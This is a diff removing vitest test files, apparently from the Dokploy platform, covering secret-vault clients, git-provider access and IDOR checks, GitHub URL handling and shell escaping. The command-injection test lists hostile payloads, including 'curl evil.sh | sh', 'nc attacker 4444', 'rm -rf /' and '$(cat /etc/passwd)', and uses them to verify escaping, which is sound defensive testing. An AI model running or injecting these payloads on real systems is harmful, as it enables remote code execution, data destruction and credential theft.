-		mount: "secret",
-	};
-
-	it("rejects refs without a field", async () => {
-		await expect(
-			hashicorpClient.getSecrets(config, ["myapp/prod"]),
-		).rejects.toThrow("expected format <path>:<field>");
-	});
-
-	it("groups refs by path and picks fields from KV v2 data", async () => {
-		mockFetch.mockResolvedValue(
-			jsonResponse({ data: { data: { USER: "admin", PASS: "pw" } } }),
-		);
-
-		const result = await hashicorpClient.getSecrets(config, [
-			"myapp/prod:USER",
-			"myapp/prod:PASS",
-		]);
-
-		expect(result).toEqual({
-			"myapp/prod:USER": "admin",
-			"myapp/prod:PASS": "pw",
-		});
-		expect(mockFetch).toHaveBeenCalledTimes(1);
-		expect(mockFetch.mock.calls[0]?.[0]).toBe(
-			"https://vault.example.com/v1/secret/data/myapp/prod",
-		);
-	});
-
-	it("throws when a field is missing", async () => {
-		mockFetch.mockResolvedValue(jsonResponse({ data: { data: { A: "1" } } }));
-		await expect(
-			hashicorpClient.getSecrets(config, ["myapp/prod:MISSING"]),
-		).rejects.toThrow('field "MISSING" not found');
-	});
-
-	it("lists full path:field refs by walking directories", async () => {
-		mockFetch.mockImplementation(async (url: string) => {
-			if (url.includes("/metadata?list=true")) {
-				return jsonResponse({ data: { keys: ["myapp/", "shared"] } });
-			}
-			if (url.includes("/metadata/myapp?list=true")) {
-				return jsonResponse({ data: { keys: ["prod"] } });
-			}
-			if (url.includes("/data/myapp/prod")) {
-				return jsonResponse({
-					data: { data: { API_KEY: "a", DB_PASSWORD: "b" } },
-				});
-			}
-			if (url.includes("/data/shared")) {
-				return jsonResponse({ data: { data: { STRIPE_KEY: "c" } } });
-			}
-			return jsonResponse({}, false, 404);
-		});
-
-		const names = await hashicorpClient.listSecretNames?.(config);
-
-		expect(names).toEqual([
-			"myapp/prod:API_KEY",
-			"myapp/prod:DB_PASSWORD",
-			"shared:STRIPE_KEY",
-		]);
-	});
-});
-
-describe("azure client", () => {
-	const config = {
-		providerType: "azure" as const,
-		vaultUri: "https://my-vault.vault.azure.net",
-		tenantId: "tenant-1",
-		clientId: "client-1",
-		clientSecret: "secret-1",
-	};
-
-	it("authenticates and reads secrets by name", async () => {
-		mockFetch.mockImplementation(async (url: string) => {
-			if (url.includes("login.microsoftonline.com/tenant-1")) {
-				return jsonResponse({ access_token: "azure-token" });
-			}
-			if (url.includes("/secrets/db-password?")) {
-				return jsonResponse({ value: "azure-pw" });
-			}
-			return jsonResponse({}, false, 404);
-		});
-
-		const result = await azureClient.getSecrets(config, ["db-password"]);
-
-		expect(result).toEqual({ "db-password": "azure-pw" });
-	});
-
-	it("throws a clear error for missing secrets", async () => {
-		mockFetch.mockImplementation(async (url: string) => {
-			if (url.includes("login.microsoftonline.com")) {
-				return jsonResponse({ access_token: "azure-token" });
-			}
-			return jsonResponse({}, false, 404);
-		});
-
-		await expect(azureClient.getSecrets(config, ["nope"])).rejects.toThrow(
-			'secret "nope" not found',
-		);
-	});
-
-	it("lists secret names from paged results", async () => {
-		mockFetch.mockImplementation(async (url: string) => {
-			if (url.includes("login.microsoftonline.com")) {
-				return jsonResponse({ access_token: "azure-token" });
-			}
-			if (url.includes("skiptoken")) {
-				return jsonResponse({
-					value: [{ id: `${config.vaultUri}/secrets/second` }],
-					nextLink: null,
-				});
-			}
-			return jsonResponse({
-				value: [{ id: `${config.vaultUri}/secrets/first` }],
-				nextLink: `${config.vaultUri}/secrets?api-version=7.4&skiptoken=abc`,
-			});
-		});
-
-		const names = await azureClient.listSecretNames?.(config);
-
-		expect(names).toEqual(["first", "second"]);
-	});
-});
-
-describe("doppler client", () => {
-	it("propagates auth errors with the status code", async () => {
-		mockFetch.mockResolvedValue(jsonResponse({}, false, 401));
-		await expect(
-			dopplerClient.getSecrets(
-				{ providerType: "doppler", serviceToken: "bad" },
-				["FOO"],
-			),
-		).rejects.toThrow("status 401");
-	});
-});
-
-describe("scaleway client", () => {
-	const config = {
-		providerType: "scaleway" as const,
-		region: "fr-par",
-		projectId: "project-1",
-		secretKey: "scw-secret-key",
-		apiUrl: "https://api.scaleway.com",
-	};
-
-	const accessResponse = (value: string) =>
-		jsonResponse({
-			secret_id: "secret-1",
-			revision: 1,
-			data: Buffer.from(value).toString("base64"),
-		});
-
-	it("reads a secret by name from the root path and decodes the payload", async () => {
-		mockFetch.mockResolvedValue(accessResponse("postgres://real"));
-
-		const result = await scalewayClient.getSecrets(config, ["db-url"]);
-
-		expect(result).toEqual({ "db-url": "postgres://real" });
-		expect(mockFetch).toHaveBeenCalledTimes(1);
-		const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
-		expect(url).toBe(
-			"https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets-by-path/versions/latest_enabled/access?project_id=project-1&secret_name=db-url&secret_path=%2F",
-		);
-		expect((init.headers as Record<string, string>)["X-Auth-Token"]).toBe(
-			"scw-secret-key",
-		);
-	});
-
-	it("sends the folder of a path-qualified ref as secret_path", async () => {
-		mockFetch.mockResolvedValue(accessResponse("value"));
-
-		await scalewayClient.getSecrets(config, ["prod/db/password"]);
-
-		expect(mockFetch.mock.calls[0]?.[0]).toContain(
-			"secret_name=password&secret_path=%2Fprod%2Fdb",
-		);
-	});
-
-	it("extracts a field from a JSON secret and fetches the secret once", async () => {
-		mockFetch.mockResolvedValue(
-			accessResponse(JSON.stringify({ user: "admin", port: 5432 })),
-		);
-
-		const result = await scalewayClient.getSecrets(config, [
-			"db-creds:user",
-			"db-creds:port",
-		]);
-
-		expect(result).toEqual({
-			"db-creds:user": "admin",
-			"db-creds:port": "5432",
-		});
-		expect(mockFetch).toHaveBeenCalledTimes(1);
-	});
-
-	it("throws when the secret is not JSON but a field is requested", async () => {
-		mockFetch.mockResolvedValue(accessResponse("plain-value"));
-
-		await expect(
-			scalewayClient.getSecrets(config, ["db-creds:user"]),
-		).rejects.toThrow("is not JSON");
-	});
-
-	it("throws when the requested field is missing", async () => {
-		mockFetch.mockResolvedValue(accessResponse(JSON.stringify({ user: "a" })));
-
-		await expect(
-			scalewayClient.getSecrets(config, ["db-creds:password"]),
-		).rejects.toThrow('field "password" not found');
-	});
-
-	it("throws a clear error for a missing secret", async () => {
-		mockFetch.mockResolvedValue(
-			jsonResponse({ message: "not found" }, false, 404),
-		);
-
-		await expect(scalewayClient.getSecrets(config, ["nope"])).rejects.toThrow(
-			'secret "nope" not found in path "/"',
-		);
-	});
-
-	it("reports authentication failures with the API message", async () => {
-		mockFetch.mockResolvedValue(
-			jsonResponse({ message: "denied authentication" }, false, 403),
-		);
-
-		await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow(
-			"authentication failed (status 403: denied authentication)",
-		);
-	});
-
-	it("throws when the secret has no enabled version", async () => {
-		mockFetch.mockResolvedValue(jsonResponse({ secret_id: "secret-1" }));
-
-		await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow(
-			"has no enabled version",
-		);
-	});
-
-	it("rejects a ref without a secret name", async () => {
-		await expect(scalewayClient.getSecrets(config, ["prod/"])).rejects.toThrow(
-			"expected format <name> or <folder>/<name>[:field]",
-		);
-	});
-
-	it("tests the connection against the secrets listing", async () => {
-		mockFetch.mockResolvedValue(jsonResponse({ secrets: [], total_count: 0 }));
-
-		await scalewayClient.testConnection(config);
-
-		expect(mockFetch.mock.calls[0]?.[0]).toBe(
-			"https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets?project_id=project-1&page_size=1",
-		);
-	});
-
-	it("lists secret names with their folder prefix", async () => {
-		mockFetch.mockResolvedValue(
-			jsonResponse({
-				secrets: [
-					{ id: "1", name: "db-url", path: "/" },
-					{ id: "2", name: "password", path: "/prod/db" },
-				],
-				total_count: 2,
-			}),
-		);
-
-		const names = await scalewayClient.listSecretNames?.(config);
-
-		expect(names).toEqual(["db-url", "prod/db/password"]);
-		expect(mockFetch).toHaveBeenCalledTimes(1);
-	});
-
-	it("follows pagination until a short page is returned", async () => {
-		const page = (start: number, size: number) =>
-			jsonResponse({
-				secrets: Array.from({ length: size }, (_, index) => ({
-					id: String(start + index),
-					name: `secret-${start + index}`,
-					path: "/",
-				})),
-			});
-		mockFetch.mockImplementation(async (url: string) =>
-			url.includes("page=2") ? page(101, 2) : page(1, 100),
-		);
-
-		const names = await scalewayClient.listSecretNames?.(config);
-
-		expect(names).toHaveLength(102);
-		expect(mockFetch).toHaveBeenCalledTimes(2);
-	});
-
-	it("resolves env refs end to end through a scaleway provider", async () => {
-		findMany.mockResolvedValue([
-			{
-				name: "scw-prod",
-				providerType: "scaleway",
-				config,
-				assignments: assignedEverywhere,
-			},
-		]);
-		mockFetch.mockResolvedValue(accessResponse("s3cret"));
-
-		const result = await resolveVaultReferences(
-			"DB_PASSWORD=${{vault.scw-prod.prod/db-password}}",
-			scope,
-		);
-
-		expect(result).toBe("DB_PASSWORD=s3cret");
-	});
-});

apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts

@@ -1,89 +0,0 @@
-import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
-import { parse, quote } from "shell-quote";
-import { describe, expect, it } from "vitest";
-
-// How git-provider commands escape a single user value before it reaches the shell.
-const shellArg = (value: string) => quote([String(value ?? "")]);
-
-// Payloads that, if reached a shell unescaped, would execute commands.
-const INJECTION_PAYLOADS = [
-	"$(touch /tmp/pwned)",
-	"`id`",
-	"; rm -rf /",
-	"&& curl evil.sh | sh",
-	"| nc attacker 4444",
-	"https://github.com/o/r.git$(whoami)",
-	"main; wget http://evil",
-	"$(cat /etc/passwd)",
-];
-
-// Legit values that must survive escaping unchanged.
-const LEGIT_VALUES = [
-	"main",
-	"feature/login-v2",
-	"release-1.2.3",
-	"https://github.com/dokploy/dokploy.git",
-	"https://gitlab.example.com/group/sub/project.git",
-];
-
-describe("git provider shell escaping (quote)", () => {
-	it("collapses every injection payload into a single literal token (no shell operators)", () => {
-		for (const payload of INJECTION_PAYLOADS) {
-			const parsed = parse(shellArg(payload));
-			// A safely escaped value parses back to exactly the original string,
-			// as ONE token. If escaping failed, parse() would emit operator
-			// objects such as { op: ";" } or { op: "$(" } instead.
-			expect(parsed).toEqual([payload]);
-		}
-	});
-
-	it("leaves legitimate URLs and branch names intact", () => {
-		for (const value of LEGIT_VALUES) {
-			expect(parse(shellArg(value))).toEqual([value]);
-		}
-	});
-});
-
-describe("cloneGitRepository command (customGitUrl path)", () => {
-	const buildClone = (customGitUrl: string, customGitBranch: string) =>
-		cloneGitRepository({
-			appName: "demo-app",
-			customGitUrl,
-			customGitBranch,
-			customGitSSHKeyId: null,
-			enableSubmodules: false,
-			serverId: null,
-			type: "application",
-		});
-
-	// A malicious substring, once escaped, must survive parsing as inert literal
-	// text and never as an executable command/operator. `parse()` turns command
-	// substitution and control operators into { op } objects, so we assert the
-	// injected marker only ever shows up inside a plain string token.
-	const markerLeaksAsShellSyntax = (command: string, marker: string) => {
-		const tokens = parse(command);
-		return tokens.some(
-			(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
-		);
-	};
-
-	it("does not let a malicious customGitUrl inject shell operators", async () => {
-		const command = await buildClone(
-			"https://github.com/o/r.git$(touch /tmp/pwned)",
-			"main",
-		);
-		expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
-		expect(command).toContain("git clone");
-	});
-
-	it("does not let a malicious customGitBranch inject shell operators", async () => {
-		const command = await buildClone(
-			"https://github.com/o/r.git",
-			"main; touch /tmp/pwned",
-		);
-		// The branch is a single quoted token, so its ";" contributes no extra
-		// operator and `touch` never becomes a runnable statement.
-		expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
-		expect(command).not.toContain("touch /tmp/pwned;");
-	});
-});

apps/dokploy/__test__/git-provider/git-provider-access.test.ts

@@ -1,369 +0,0 @@
-import {
-	canEditDeployGitSource,
-	getAccessibleGitProviderIds,
-} from "@dokploy/server/services/git-provider";
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-const mockDb = vi.hoisted(() => ({
-	query: {
-		gitProvider: {
-			findMany: vi.fn(),
-			findFirst: vi.fn(),
-		},
-		member: {
-			findFirst: vi.fn(),
-		},
-	},
-}));
-
-vi.mock("@dokploy/server/db", () => ({ db: mockDb }));
-
-const mockHasValidLicense = vi.hoisted(() => vi.fn());
-vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
-	hasValidLicense: mockHasValidLicense,
-}));
-
-const ORG_ID = "org-1";
-const USER_OWNER = "user-owner";
-const USER_ADMIN = "user-admin";
-const USER_MEMBER = "user-member";
-const USER_MEMBER_2 = "user-member-2";
-
-const providerOwned = {
-	gitProviderId: "gp-owned",
-	userId: USER_MEMBER,
-	sharedWithOrganization: false,
-};
-const providerShared = {
-	gitProviderId: "gp-shared",
-	userId: USER_OWNER,
-	sharedWithOrganization: true,
-};
-const providerPrivate = {
-	gitProviderId: "gp-private",
-	userId: USER_OWNER,
-	sharedWithOrganization: false,
-};
-const providerOtherMember = {
-	gitProviderId: "gp-other",
-	userId: USER_MEMBER_2,
-	sharedWithOrganization: false,
-};
-
-const allProviders = [
-	providerOwned,
-	providerShared,
-	providerPrivate,
-	providerOtherMember,
-];
-
-function session(userId: string) {
-	return { userId, activeOrganizationId: ORG_ID };
-}
-
-beforeEach(() => {
-	vi.clearAllMocks();
-	mockDb.query.gitProvider.findMany.mockResolvedValue(allProviders);
-	mockHasValidLicense.mockResolvedValue(false);
-});
-
-describe("getAccessibleGitProviderIds", () => {
-	describe("owner", () => {
-		beforeEach(() => {
-			mockDb.query.member.findFirst.mockResolvedValue({
-				role: "owner",
-				accessedGitProviders: [],
-			});
-		});
-
-		it("returns all org providers", async () => {
-			const ids = await getAccessibleGitProviderIds(session(USER_OWNER));
-			expect(ids).toEqual(new Set(allProviders.map((p) => p.gitProviderId)));
-		});
-
-		it("includes providers owned by other members", async () => {
-			const ids = await getAccessibleGitProviderIds(session(USER_OWNER));
-			expect(ids.has(providerOwned.gitProviderId)).toBe(true);
-			expect(ids.has(providerOtherMember.gitProviderId)).toBe(true);
-		});
-	});
-
-	describe("admin", () => {
-		beforeEach(() => {
-			mockDb.query.member.findFirst.mockResolvedValue({
-				role: "admin",
-				accessedGitProviders: [],
-			});
-		});
-
-		it("returns all org providers", async () => {
-			const ids = await getAccessibleGitProviderIds(session(USER_ADMIN));
-			expect(ids).toEqual(new Set(allProviders.map((p) => p.gitProviderId)));
-		});
-
-		it("includes providers owned by other members — fixes issue #4469", async () => {
-			const ids = await getAccessibleGitProviderIds(session(USER_ADMIN));
-			expect(ids.has(providerPrivate.gitProviderId)).toBe(true);
-			expect(ids.has(providerOtherMember.gitProviderId)).toBe(true);
-		});
-	});
-
-	describe("member without enterprise license", () => {
-		beforeEach(() => {
-			mockDb.query.member.findFirst.mockResolvedValue({
-				role: "member",
-				accessedGitProviders: [providerPrivate.gitProviderId],
-			});
-			mockHasValidLicense.mockResolvedValue(false);
-		});
-
-		it("can access their own provider", async () => {
-			const ids = await getAccessibleGitProviderIds(session(USER_MEMBER));
-			expect(ids.has(providerOwned.gitProviderId)).toBe(true);
-		});
-
-		it("can access shared providers", async () => {
-			const ids = await getAccessibleGitProviderIds(session(USER_MEMBER));
-			expect(ids.has(providerShared.gitProviderId)).toBe(true);
-		});
-
-		it("cannot access private providers of other users even if assigned (no license)", async () => {
-			const ids = await getAccessibleGitProviderIds(session(USER_MEMBER));
-			expect(ids.has(providerPrivate.gitProviderId)).toBe(false);
-		});
-
-		it("cannot access providers of other members", async () => {
-			const ids = await getAccessibleGitProviderIds(session(USER_MEMBER));
-			expect(ids.has(providerOtherMember.gitProviderId)).toBe(false);
-		});
-	});
-
-	describe("member with enterprise license", () => {
-		beforeEach(() => {
-			mockHasValidLicense.mockResolvedValue(true);
-		});
-
-		it("can access provider explicitly assigned to them", async () => {
-			mockDb.query.member.findFirst.mockResolvedValue({
-				role: "member",
-				accessedGitProviders: [providerPrivate.gitProviderId],
-			});
-			const ids = await getAccessibleGitProviderIds(session(USER_MEMBER));
-			expect(ids.has(providerPrivate.gitProviderId)).toBe(true);
-		});
-
-		it("cannot access provider not assigned and not shared", async () => {
-			mockDb.query.member.findFirst.mockResolvedValue({
-				role: "member",
-				accessedGitProviders: [],
-			});
-			const ids = await getAccessibleGitProviderIds(session(USER_MEMBER));
-			expect(ids.has(providerPrivate.gitProviderId)).toBe(false);
-			expect(ids.has(providerOtherMember.gitProviderId)).toBe(false);
-		});
-
-		it("can access shared provider even without explicit assignment", async () => {
-			mockDb.query.member.findFirst.mockResolvedValue({
-				role: "member",
-				accessedGitProviders: [],
-			});
-			const ids = await getAccessibleGitProviderIds(session(USER_MEMBER));
-			expect(ids.has(providerShared.gitProviderId)).toBe(true);
-		});
-
-		it("can access own provider regardless of assignments", async () => {
-			mockDb.query.member.findFirst.mockResolvedValue({
-				role: "member",
-				accessedGitProviders: [],
-			});
-			const ids = await getAccessibleGitProviderIds(session(USER_MEMBER));
-			expect(ids.has(providerOwned.gitProviderId)).toBe(true);
-		});
-
-		it("cannot access provider of other member even with license but no assignment", async () => {
-			mockDb.query.member.findFirst.mockResolvedValue({
-				role: "member",
-				accessedGitProviders: [],
-			});
-			const ids = await getAccessibleGitProviderIds(session(USER_MEMBER));
-			expect(ids.has(providerOtherMember.gitProviderId)).toBe(false);
-		});
-	});
-
-	describe("member with no member record", () => {
-		beforeEach(() => {
-			mockDb.query.member.findFirst.mockResolvedValue(null);
-			mockHasValidLicense.mockResolvedValue(true);
-		});
-
-		it("only returns own providers and shared ones", async () => {
-			const ids = await getAccessibleGitProviderIds(session(USER_MEMBER));
-			expect(ids.has(providerOwned.gitProviderId)).toBe(true);
-			expect(ids.has(providerShared.gitProviderId)).toBe(true);
-			expect(ids.has(providerPrivate.gitProviderId)).toBe(false);
-		});
-	});
-
-	describe("enterprise license — member assigned to a provider they do not own", () => {
-		// getAccessibleGitProviderIds still returns the provider (member can connect NEW deploys)
-		it("member assigned to owner's private provider can USE the provider for new deploys", async () => {
-			mockHasValidLicense.mockResolvedValue(true);
-			mockDb.query.member.findFirst.mockResolvedValue({
-				role: "member",
-				accessedGitProviders: [providerPrivate.gitProviderId],
-			});
-			const ids = await getAccessibleGitProviderIds(session(USER_MEMBER));
-			expect(ids.has(providerPrivate.gitProviderId)).toBe(true);
-		});
-
-		it("member NOT assigned to owner's private provider cannot use it at all", async () => {
-			mockHasValidLicense.mockResolvedValue(true);
-			mockDb.query.member.findFirst.mockResolvedValue({
-				role: "member",
-				accessedGitProviders: [],
-			});
-			const ids = await getAccessibleGitProviderIds(session(USER_MEMBER));
-			expect(ids.has(providerPrivate.gitProviderId)).toBe(false);
-		});
-	});
-
-	describe("empty org", () => {
-		beforeEach(() => {
-			mockDb.query.gitProvider.findMany.mockResolvedValue([]);
-			mockDb.query.member.findFirst.mockResolvedValue({
-				role: "admin",
-				accessedGitProviders: [],
-			});
-		});
-
-		it("returns empty set when org has no providers", async () => {
-			const ids = await getAccessibleGitProviderIds(session(USER_ADMIN));
-			expect(ids.size).toBe(0);
-		});
-	});
-});
-
-describe("canEditDeployGitSource", () => {
-	beforeEach(() => {
-		vi.clearAllMocks();
-		mockHasValidLicense.mockResolvedValue(true);
-	});
-
-	describe("owner", () => {
-		it("can edit deploy using any provider", async () => {
-			mockDb.query.member.findFirst.mockResolvedValue({ role: "owner" });
-			const result = await canEditDeployGitSource(
-				providerPrivate.gitProviderId,
-				session(USER_OWNER),
-			);
-			expect(result).toBe(true);
-		});
-	});
-
-	describe("admin", () => {
-		beforeEach(() => {
-			mockDb.query.member.findFirst.mockResolvedValue({ role: "admin" });
-		});
-
-		it("cannot edit deploy using owner's private provider (not shared)", async () => {
-			mockDb.query.gitProvider.findFirst.mockResolvedValue({
-				userId: USER_OWNER,
-				sharedWithOrganization: false,
-			});
-			const result = await canEditDeployGitSource(
-				providerPrivate.gitProviderId,
-				session(USER_ADMIN),
-			);
-			expect(result).toBe(false);
-		});
-
-		it("can edit deploy using a provider shared with the org", async () => {
-			mockDb.query.gitProvider.findFirst.mockResolvedValue({
-				userId: USER_OWNER,
-				sharedWithOrganization: true,
-			});
-			const result = await canEditDeployGitSource(
-				providerShared.gitProviderId,
-				session(USER_ADMIN),
-			);
-			expect(result).toBe(true);
-		});
-
-		it("can edit deploy using their own provider", async () => {
-			mockDb.query.gitProvider.findFirst.mockResolvedValue({
-				userId: USER_ADMIN,
-				sharedWithOrganization: false,
-			});
-			const result = await canEditDeployGitSource(
-				"gp-admin-owned",
-				session(USER_ADMIN),
-			);
-			expect(result).toBe(true);
-		});
-	});
-
-	describe("member", () => {
-		beforeEach(() => {
-			mockDb.query.member.findFirst.mockResolvedValue({ role: "member" });
-		});
-
-		it("can edit deploy using their own provider", async () => {
-			mockDb.query.gitProvider.findFirst.mockResolvedValue({
-				userId: USER_MEMBER,
-				sharedWithOrganization: false,
-			});
-			const result = await canEditDeployGitSource(
-				providerOwned.gitProviderId,
-				session(USER_MEMBER),
-			);
-			expect(result).toBe(true);
-		});
-
-		it("can edit deploy using a provider shared with the org", async () => {
-			mockDb.query.gitProvider.findFirst.mockResolvedValue({
-				userId: USER_OWNER,
-				sharedWithOrganization: true,
-			});
-			const result = await canEditDeployGitSource(
-				providerShared.gitProviderId,
-				session(USER_MEMBER),
-			);
-			expect(result).toBe(true);
-		});
-
-		it("cannot edit deploy using owner's private provider even with enterprise license and assignment", async () => {
-			// This is the key case: enterprise, provider del owner, no compartido,
-			// member tiene accessedGitProviders asignado — pero NO puede cambiar la branch del deploy del owner
-			mockDb.query.gitProvider.findFirst.mockResolvedValue({
-				userId: USER_OWNER,
-				sharedWithOrganization: false,
-			});
-			const result = await canEditDeployGitSource(
-				providerPrivate.gitProviderId,
-				session(USER_MEMBER),
-			);
-			expect(result).toBe(false);
-		});
-
-		it("cannot edit deploy using another member's private provider", async () => {
-			mockDb.query.gitProvider.findFirst.mockResolvedValue({
-				userId: USER_MEMBER_2,
-				sharedWithOrganization: false,
-			});
-			const result = await canEditDeployGitSource(
-				providerOtherMember.gitProviderId,
-				session(USER_MEMBER),
-			);
-			expect(result).toBe(false);
-		});
-
-		it("returns false if provider does not exist", async () => {
-			mockDb.query.gitProvider.findFirst.mockResolvedValue(null);
-			const result = await canEditDeployGitSource(
-				"nonexistent-id",
-				session(USER_MEMBER),
-			);
-			expect(result).toBe(false);
-		});
-	});
-});

apps/dokploy/__test__/git-provider/git-provider-idor.test.ts

@@ -1,91 +0,0 @@
-import { TRPCError } from "@trpc/server";
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-// Mock the DB so the REAL getAccessibleGitProviderIds (called internally by
-// assertGitProviderAccess) runs against controlled data. Mocking the exported
-// function would NOT intercept the intra-module call, so we mock one layer down.
-const mockDb = vi.hoisted(() => ({
-	query: {
-		gitProvider: {
-			findMany: vi.fn(),
-		},
-		member: {
-			findFirst: vi.fn(),
-		},
-	},
-}));
-vi.mock("@dokploy/server/db", () => ({ db: mockDb }));
-
-const mockHasValidLicense = vi.hoisted(() => vi.fn());
-vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
-	hasValidLicense: mockHasValidLicense,
-}));
-
-import { assertGitProviderAccess } from "@dokploy/server/services/git-provider";
-
-const ORG = "org-1";
-const USER = "user-member";
-const session = { userId: USER, activeOrganizationId: ORG };
-
-// Provider owned by USER within ORG -> should be accessible.
-const providerMine = {
-	gitProviderId: "gp-mine",
-	userId: USER,
-	sharedWithOrganization: false,
-};
-// Provider owned by someone else within ORG, not shared, not assigned.
-const providerOther = {
-	gitProviderId: "gp-other",
-	userId: "user-2",
-	sharedWithOrganization: false,
-};
-
-beforeEach(() => {
-	vi.clearAllMocks();
-	mockHasValidLicense.mockResolvedValue(false);
-	mockDb.query.gitProvider.findMany.mockResolvedValue([
-		providerMine,
-		providerOther,
-	]);
-	mockDb.query.member.findFirst.mockResolvedValue({
-		role: "member",
-		accessedGitProviders: [],
-	});
-});
-
-describe("assertGitProviderAccess (git provider IDOR guard)", () => {
-	it("rejects a provider from another organization with NOT_FOUND (cross-org IDOR)", async () => {
-		await expect(
-			assertGitProviderAccess(session, {
-				gitProviderId: "gp-mine",
-				organizationId: "org-2",
-			}),
-		).rejects.toMatchObject({ code: "NOT_FOUND" });
-	});
-
-	it("rejects a same-org provider the caller is not entitled to with FORBIDDEN", async () => {
-		await expect(
-			assertGitProviderAccess(session, {
-				gitProviderId: "gp-other",
-				organizationId: ORG,
-			}),
-		).rejects.toMatchObject({ code: "FORBIDDEN" });
-	});
-
-	it("allows a same-org provider the caller owns", async () => {
-		await expect(
-			assertGitProviderAccess(session, {
-				gitProviderId: "gp-mine",
-				organizationId: ORG,
-			}),
-		).resolves.toBeUndefined();
-	});
-
-	it("throws a TRPCError so tRPC maps the HTTP status", async () => {
-		const err = await assertGitProviderAccess(session, {
-			gitProviderId: "gp-mine",
-			organizationId: "org-2",
-		}).catch((e) => e);
-		expect(err).toBeInstanceOf(TRPCError);
-	});
-});

apps/dokploy/__test__/git-provider/github-clone-host.test.ts

@@ -1,106 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-// cloneGithubRepository builds a shell command; the only thing under test here
-// is which host ends up in the clone URL, so the app auth is stubbed out.
-const mockFindGithubById = vi.hoisted(() => vi.fn());
-
-vi.mock("@dokploy/server/services/github", () => ({
-	findGithubById: mockFindGithubById,
-}));
-
-vi.mock("@octokit/auth-app", () => ({
-	createAppAuth: vi.fn(),
-}));
-
-vi.mock("octokit", () => ({
-	Octokit: class {
-		auth = async () => ({ token: "gh-token" });
-	},
-}));
-
-const { cloneGithubRepository } = await import(
-	"@dokploy/server/utils/providers/github"
-);
-
-const provider = (githubUrl: string) => ({
-	githubId: "gh-1",
-	githubUrl,
-	githubAppId: 1,
-	githubPrivateKey: "key",
-	githubInstallationId: "42",
-});
-
-const clone = async () => {
-	const command = await cloneGithubRepository({
-		appName: "my-app",
-		owner: "acme",
-		repository: "web",
-		branch: "main",
-		githubId: "gh-1",
-		enableSubmodules: false,
-		serverId: null,
-	});
-	return command.replace(/\\/g, "");
-};
-
-describe("cloneGithubRepository host", () => {
-	beforeEach(() => {
-		vi.clearAllMocks();
-	});
-
-	it("clones from github.com for a default provider", async () => {
-		mockFindGithubById.mockResolvedValue(provider("https://github.com"));
-
-		const command = await clone();
-
-		expect(command).toContain(
-			"https://oauth2:gh-token@github.com/acme/web.git",
-		);
-		expect(command).not.toContain("ghe.com");
-	});
-
-	it("clones from the Enterprise host, not github.com", async () => {
-		mockFindGithubById.mockResolvedValue(provider("https://acme.ghe.com"));
-
-		const command = await clone();
-
-		expect(command).toContain(
-			"https://oauth2:gh-token@acme.ghe.com/acme/web.git",
-		);
-		expect(command).not.toContain("github.com");
-	});
-
-	it("clones from a self-hosted Enterprise Server host", async () => {
-		mockFindGithubById.mockResolvedValue(
-			provider("https://github.corp.acme.com"),
-		);
-
-		const command = await clone();
-
-		expect(command).toContain(
-			"https://oauth2:gh-token@github.corp.acme.com/acme/web.git",
-		);
-	});
-
-	it("keeps an explicit port in the clone host", async () => {
-		mockFindGithubById.mockResolvedValue(
-			provider("https://github.acme.com:8443"),
-		);
-
-		const command = await clone();
-
-		expect(command).toContain(
-			"https://oauth2:gh-token@github.acme.com:8443/acme/web.git",
-		);
-	});
-
-	it("falls back to github.com for a provider stored before this feature", async () => {
-		mockFindGithubById.mockResolvedValue(provider(""));
-
-		const command = await clone();
-
-		expect(command).toContain(
-			"https://oauth2:gh-token@github.com/acme/web.git",
-		);
-	});
-});

apps/dokploy/__test__/git-provider/github-enterprise-url.test.ts

@@ -1,168 +0,0 @@
-import {
-	DEFAULT_GITHUB_API_URL,
-	DEFAULT_GITHUB_URL,
-	deriveGithubApiUrl,
-	normalizeGithubUrl,
-	parseGithubBaseUrl,
-} from "@dokploy/server/utils/providers/github";
-import { describe, expect, it } from "vitest";
-
-const urlOf = (result: ReturnType<typeof parseGithubBaseUrl>) =>
-	"url" in result ? result.url : null;
-
-describe("normalizeGithubUrl", () => {
-	it("defaults to github.com when empty", () => {
-		expect(normalizeGithubUrl("")).toBe(DEFAULT_GITHUB_URL);
-		expect(normalizeGithubUrl(null)).toBe(DEFAULT_GITHUB_URL);
-		expect(normalizeGithubUrl(undefined)).toBe(DEFAULT_GITHUB_URL);
-		expect(normalizeGithubUrl("   ")).toBe(DEFAULT_GITHUB_URL);
-	});
-
-	it("assumes https when no scheme is given", () => {
-		expect(normalizeGithubUrl("acme.ghe.com")).toBe("https://acme.ghe.com");
-	});
-
-	it("strips paths, queries and trailing slashes", () => {
-		expect(normalizeGithubUrl("https://acme.ghe.com/")).toBe(
-			"https://acme.ghe.com",
-		);
-		expect(normalizeGithubUrl("https://acme.ghe.com///")).toBe(
-			"https://acme.ghe.com",
-		);
-		expect(normalizeGithubUrl("https://github.acme.com/some/path?x=1")).toBe(
-			"https://github.acme.com",
-		);
-	});
-
-	it("keeps an explicit port", () => {
-		expect(normalizeGithubUrl("https://github.acme.com:8443")).toBe(
-			"https://github.acme.com:8443",
-		);
-	});
-
-	it("falls back to github.com on unusable input", () => {
-		expect(normalizeGithubUrl("ftp://github.acme.com")).toBe(
-			DEFAULT_GITHUB_URL,
-		);
-		expect(normalizeGithubUrl("http://github.internal")).toBe(
-			DEFAULT_GITHUB_URL,
-		);
-		expect(normalizeGithubUrl("https://")).toBe(DEFAULT_GITHUB_URL);
-	});
-});
-
-describe("parseGithubBaseUrl", () => {
-	it("accepts github.com and Enterprise hosts", () => {
-		expect(urlOf(parseGithubBaseUrl("https://acme.ghe.com"))).toBe(
-			"https://acme.ghe.com",
-		);
-		// A self-hosted instance behind the corporate network is a valid target.
-		expect(urlOf(parseGithubBaseUrl("https://github.corp.acme.com"))).toBe(
-			"https://github.corp.acme.com",
-		);
